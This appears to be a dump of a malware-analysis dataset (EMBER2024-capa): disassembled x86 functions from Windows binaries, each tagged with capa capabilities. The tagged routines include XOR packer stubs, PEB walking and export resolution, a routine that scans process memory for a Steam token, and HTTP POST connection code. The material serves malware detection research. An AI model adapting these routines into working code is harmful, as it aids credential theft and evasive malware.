joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x6a804192
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x3e0a3928
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4012b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov dword [ebp - 4], 0
call fcn.00401150
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40130c
push ebx
nop
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
add bl, 0xfd
mov byte [ecx + edx], bl
mov edx, dword [ebp - 4]
add byte [ecx + edx], 3
nop
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x4012d2
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4014a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
push esi
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 4]
xor esi, esi
push eax
push 0x20019
push esi
push str.wMzVw8TewdL78r28OHs4Oz14_v7xPbt8zk4Pv70OLh4fLt48Xy4eD27O378_s6_bw9vLg_vA5uDj8ur758
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
call fcn.004012b0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401546
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push esi
push str.0u38evyy8Lenw
call fcn.004012b0
mov ecx, dword [esp + 0x18]
add esp, 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401530
mov eax, dword [esp + 8]
xor edx, edx
cmp eax, 1
mov eax, dword [esp + 4]
sete dl
push eax
mov esi, edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 4]
mov esi, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop esi
add esp, 0x10
ret
Function at 0x401b20
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401b4d
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test esi, esi
jne 0x401b60
pop esi
pop ebp
pop ebx
ret
push edi
push esi
call sub.MFC42.DLL_operatornew
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x18]
push eax
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
pop edi
jne 0x401b99
pop esi
pop ebp
pop ebx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x14]
mov ecx, esi
call sub.MFC42.DLL_CString::Empty
push ebp
mov ecx, esi
call sub.MFC42.DLL_CString::operator
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x401bc0
Capabilities:
Connect to http server

Disassembly:
sub esp, 0x38
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.InternetOpenA
push str.wininet.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
push 0
push str.Mozilla_4.2__compatible_
call eax
test eax, eax
jne 0x401bf7
pop ebp
pop ebx
add esp, 0x38
ret
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
push 0
push 0
push 3
push 0
push 0
push ecx
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
jne 0x401c1c
pop ebp
pop ebx
add esp, 0x38
ret
mov edx, dword [esp + 0x4c]
push 0
lea ecx, [esp + 0xc]
push 0x4000000
push ecx
push 0x404784
push str.HTTP_1.1
push edx
push str.POST
push eax
mov dword [esp + 0x28], str.text_txt
mov dword [esp + 0x2c], 0
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
jne 0x401c5f
pop ebp
pop ebx
add esp, 0x38
ret
push esi
push edi
push 0xa0000000
lea eax, [esp + 0x1c]
mov ecx, 0xc
mov esi, str.Content_Type:_application_x_www_form_urlencoded
lea edi, [esp + 0x1c]
push 0xffffffffffffffff
push eax
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
push str.HttpSendRequestA
push str.Wininet.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x58]
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push eax
push eax
push ebx
call edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop edi
test esi, esi
pop esi
pop ebp
setne al
pop ebx
add esp, 0x38
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4042e8
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x14001007
mov esi, 0x41a02910
xor edx, esi
mov edi, 0x3f4be77e
xor edi, 0x56da827b
xor edi, edx
mov esi, 0x1c1b1993
mov edx, 0x2cf8d7fd
xor edx, esi
xor edi, edx
mov edi, 0x7a826d14
jp fcn.00403f67
not dword [esp + edi*4 - 0x176853e]
mov eax, edx
mov edi, eax
mov esi, edi
push esi
pop edx
jmp 0x403fb9

Function at 0x40520c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405245
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40524e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405258
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405279
mov al, byte [esp]
jmp 0x40527b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4062da
Capabilities:
Encode data using xor

Disassembly:
into
pop ebx
xor esi, ebx
mov eax, dword [esi]
push 0x57895d5a
mov edi, 0xa777194
pop edx
xor edi, edx
push edi
push 0x33f018e6
mov ebx, 0x3bdf67d0
pop esi
xor ebx, esi
pop ecx
xor ebx, ecx
mov esi, 0x5b848855
xor esi, 0xe55dbad
xor ebx, esi
mov edx, ebx
mov ecx, edx
mov edx, ecx
add esp, 0xfffffffc
mov dword [esp], edx
mov ecx, esp
mov esi, ecx
mov edx, esi
push 0xac740ebf
mov ebx, 0x538bf143
pop esi
xor ebx, esi
add esp, ebx
mov dword [esp], edx
mov edi, 0xe5e5920
xor edi, 0x45e27d4e
push edi
mov edx, 0x272d1e3b
xor edx, 0x13704944
pop esi
xor edx, esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], edx
mov ebx, 0x1501bc81
mov edx, 0x28e00048
xor ebx, edx
mov esi, 0x4200cf98
xor ebx, esi
pop ecx
xor ebx, ecx
mov esi, 4
sub esp, esi
push esp
pop edx
mov dword [edx], ebx
push 0x18afd66f
mov ecx, 0x3a682b30
pop edx
xor ecx, edx
push ecx
mov edi, 0x33128dbf
xor edi, 0x61765cf6
pop ebx
xor edi, ebx
xor esi, esi
add esi, edi
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0xffffffff
and esi, 0
or esi, ebx
and esi, 0x70a3b816
and edi, 0x8f5c47e9
or edi, esi
mov ebx, 0
xor ebx, edi
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], ebx
mov esi, 0x44492420
mov edx, 0x11025091
xor esi, edx
push esi
mov ecx, 0x44040286
mov esi, 0x284b0150
xor ecx, esi
pop ebx
xor ecx, ebx
mov edi, 0x6f50db5f
mov esi, 0x31807dc1
xor esi, edi
xor ecx, esi
mov ebx, 0x18c2b217
xor ecx, ebx
xor ecx, 0x7f5673ee
mov ebx, 0
xor ebx, ecx
mov esi, ebx
add esp, 0xfffffffc
mov dword [esp], esi
call eax
pop eax
push 0x792bb425
mov edx, 0x792bb425
pop ebx
xor edx, ebx
mov edi, 0x386cc9b8
xor edi, 0x386cc9bc
xor edx, edi
mov ecx, 0x20
mov edi, pe_nt_image_headers32
xor ecx, edi
mov edi, 0x5e398e8f
mov esi, 0x5e398c8e
xor esi, edi
xor ecx, esi
xor edx, ecx
push 0x7411abe8
mov eax, 0x63c8a9ea
pop ecx
xor eax, ecx
mov ecx, 0x50d080c
mov ebx, 0xd0d2918
xor ebx, ecx
xor eax, ebx
push 0x605cd157
mov esi, 0x7857136d
pop ecx
xor esi, ecx
push esi
mov edi, 0x808000
mov ecx, 0x7120068
xor edi, ecx
pop ebx
xor edi, ebx
xor edi, eax
mov esi, 0x21633040
mov ebx, 0x40148284
xor esi, ebx
mov eax, 0x224c784
mov ebx, 0x200b2042
xor eax, ebx
xor eax, esi
mov ecx, eax
mov ebx, ecx
mov ecx, 0xffffffff
xor ebx, ecx
and ebx, 0x4318d9df
and eax, 0xbce72620
or eax, ebx
mov ecx, 0x30a20218
xor ecx, 0xcf5dfde4
add esp, ecx
xor ebx, ebx
add ebx, esp
mov dword [ebx], edx
mov ecx, eax
add esp, 0xfffffffc
mov dword [esp], ecx
pop esi
mov ecx, 0
xor ecx, esi
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], ecx
xor edx, edx
mov dl, byte [edi]
add eax, edx
mov dl, byte [eax]
pop eax
mov byte [edi], dl
dec edi
pop edx
push 0xbf5003af
mov esi, 0x40affc50
pop ebx
xor esi, ebx
add edx, esi
mov ecx, 0
xor ecx, edx
mov esi, ecx
add esp, 0xfffffffc
mov dword [esp], esi
pop ebx
and ebx, edx
jne 0x4064af
mov ebx, 0x910c1
mov ecx, 0x5650e80c
xor ebx, ecx
push 0xddecd6
mov esi, 0x150fa8f1
pop edi
xor esi, edi
xor esi, ebx
push 0x4cd302a
mov eax, 0x687d022
pop edx
xor eax, edx
mov ebx, 0x799c0d6d
xor ebx, 0x381d0faf
xor eax, ebx
xor eax, esi
call eax
pop ecx
pop ecx
ret
Function at 0xad6530
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0xad6553
mov eax, 1
jmp 0xad665e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0xad6569
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0xad6573
mov eax, 2
jmp 0xad665e
mov edx, dword [ebp + 0x10]
push edx
push 0xf8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0xad659e
mov eax, 1
jmp 0xad665e
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0xad65c4
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0xad65c4
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0xad65ce
mov eax, 2
jmp 0xad665e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.00ae8a10
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0xad660f
mov eax, 3
jmp 0xad665e
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0xad665c
mov eax, 1
jmp 0xad665e
xor eax, eax
pop ebp
ret

Function at 0xad7000
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0xad7016
xor eax, eax
jmp 0xad7056
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0xad703b
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0xad703f
xor eax, eax
jmp 0xad7056
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x78]
push ecx
call fcn.00ad7060
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0xae70d0
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push 0x64000
nop
call 0x74efb100
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0xaf05bd
lea ecx, [ebp - 0x1c]
call fcn.00aea740
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call 0x9b0b32
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0xae7148
mov dword [ebp - 0x45c], 0xaf05be
lea ecx, [ebp - 0x1c]
call fcn.00aea800
mov eax, dword [ebp - 0x45c]
jmp 0xae72df
mov edx, 1
test edx, edx
je 0xae72ae
mov byte [ebp - 0x438], 0
push 0x207
push 0
lea eax, [ebp - 0x437]
push eax
call fcn.00aeaae0
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0xfff
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0xaf0ba8
mov edx, dword [ebp - 4]
push edx
call fcn.00ae6f00
add esp, 0x20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, 0x208
mov ecx, dword [ebp - 0x24]
adc ecx, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x24], 0
ja 0xae71ca
jb 0xae71c5
cmp dword [ebp - 0x28], 0
ja 0xae71ca
jmp 0xae72ae
cmp dword [ebp - 0x24], 0
ja 0xae71d9
cmp dword [ebp - 0x28], 0xffff
jbe 0xae71f5
push 0
push 0x208
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call 0x9b0c3a
nop
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1c]
call fcn.00aea820
lea ecx, [ebp - 0x1c]
call fcn.00aeaad0
push eax
call dword [fcn.00d1a784]
cmp eax, 0x12c
jle 0xae72a9
lea ecx, [ebp - 0x1c]
call fcn.00aeaad0
push eax
lea ecx, [ebp - 0x478]
call fcn.00ae7320
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.00ae6b60
add esp, 8
lea ecx, [ebp - 0x478]
call fcn.00ad8060
lea ecx, [ebp - 0x454]
call fcn.00ae7380
movzx edx, al
test edx, edx
jne 0xae729e
lea ecx, [ebp - 0x454]
call fcn.00ae7360
cmp eax, 0xa
jbe 0xae729e
lea ecx, [ebp - 0x1c]
call fcn.00aeaad0
mov dword [ebp - 0x47c], eax
lea ecx, [ebp - 0x454]
call fcn.00ad8060
lea ecx, [ebp - 0x1c]
call fcn.00aea800
mov eax, dword [ebp - 0x47c]
jmp 0xae72df
lea ecx, [ebp - 0x454]
call fcn.00ad8060
jmp 0xae7148
mov eax, dword [ebp - 8]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
push ecx
nop
call 0x74efb0f3
add esp, 4
mov dword [ebp - 0x484], 0xaf05bf
lea ecx, [ebp - 0x1c]
call fcn.00aea800
mov eax, dword [ebp - 0x484]
mov esp, ebp
pop ebp
ret

Function at 0xae9750
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xae9780
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0xae9793
xor eax, eax
jmp 0xae9851
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0xae97ae
xor eax, eax
jmp 0xae9851
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0xae97cc
xor eax, eax
jmp 0xae9851
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0xae980e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0xae984f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.00ae8a30
add esp, 8
test eax, eax
jne 0xae984d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0xae9851
jmp 0xae9805
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402740
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x402798
cmp byte [esi + ebx - 1], 0xa
je 0x40276c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4040fc], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x403000
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop

Function at 0x401486
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402128
push 0x4015b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x4030e4], 0xffffffff
or dword [0x4030e8], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x4030e0]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x4030dc]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4030ec], eax
call fcn.004015b7
cmp dword [0x4030d0], 0
jne 0x401509
push 0x4015b4
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.004015a2
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x4030d8]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x4030d4]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call section..text
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x4019d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
les edx, [eax]
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4019ff
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00401711
jne 0x401a73
push 0x1c
lea eax, [ebp - 0x40]
push eax
call fcn.00401721
push eax
push esi
push dword [ebp + 8]
call fcn.004016d6
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00401711
ret
inc ebx
sub dl, bl
das
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
fcmovb st(0), st(6)
inc ebp
neg dl
mov byte [ebp - 9], 0xbf
call fcn.00401721
push eax
push esi
push dword [ebp + 8]
call fcn.004016d6
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17